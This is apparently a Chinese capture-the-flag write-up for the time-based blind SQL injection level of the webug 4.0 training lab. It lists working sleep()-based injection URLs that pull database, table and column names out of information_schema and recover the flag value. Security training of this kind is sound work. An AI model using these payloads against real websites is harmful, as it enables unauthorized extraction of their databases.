1. 程式人生 > >webug4.0延時註入-3

webug4.0延時註入-3

limit env span lec div 一個數 響應時間 返回 format

/*打開這道題時,發現和第二關的鏈接一樣。既然作者考察的是延時註入就利用響應時間來判斷*/

用延時註入時,我們一般不能從頁面直接獲取數據庫信息,所用知識與第二關基本相同

if(exp,1,sleep(5))  如果exp為真,返回1,否則返回sleep(5) 就是延時5s響應


0x01  經過嘗試發現 ‘or 1=1--+ 能使頁面正常

0x02  利用 ‘order by 1--+ 嘗試判斷出字段個數為3

0x03  利用延時註入爆所有數據庫名字

http://localhost/control/sqlinject/bool_injection.php?id=1 and if(ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))>104,1,sleep(5))--+

判斷第一個數據庫第一個字符大於104是否為真 true返回1,false返回sleep(5) 可利用二分法定位

判斷第二個字符時 修改為substr(*****,2,1)

判斷第二個數據庫時 修改為limit 1,1

如果需爆當前數據庫名字

http://localhost/control/sqlinject/bool_injection.php?id=1 and if(ascii(substr(database(),1,1))>100,1,sleep(5))--+

爆出當前數據庫名字 ‘webug‘

0x04  利用延時註入爆webug下的表

http://localhost/
control/sqlinject/bool_injection.php?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=0x7765627567 limit 0,1),1,1))>97,1,sleep(5))--+

爆出webug下的表:data_crud,env_list,env_path,flag,sqlinjection,user,user_test

0x05  利用延時註入爆env_list下的列

http://localhost/control/
sqlinject/bool_injection.php?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name=0x656e765f6c697374 limit 0,1),1,1))>97,1,sleep(5))--+

env_list的表裏有:id,envName,envDesc,envIntegration,delFlag,envFlag,level,type

0x06  利用延時註入爆id=3時envFlag內容

http://localhost/control/sqlinject/bool_injection.php?id=1 and if(ascii(substr((select envFlag from webug.env_list  limit 2,1),1,1))>100,1,sleep(5))--+

limit 2,1 是從0開始的 故id=3時也就是limit 2,1 當然也可以寫成下面的

http://localhost/control/sqlinject/bool_injection.php?id=1 and if(ascii(substr((select envFlag from webug.env_list where id=3),1,1))>100,1,sleep(5))--+

最後flag:gfdgdfsdg

webug4.0延時註入-3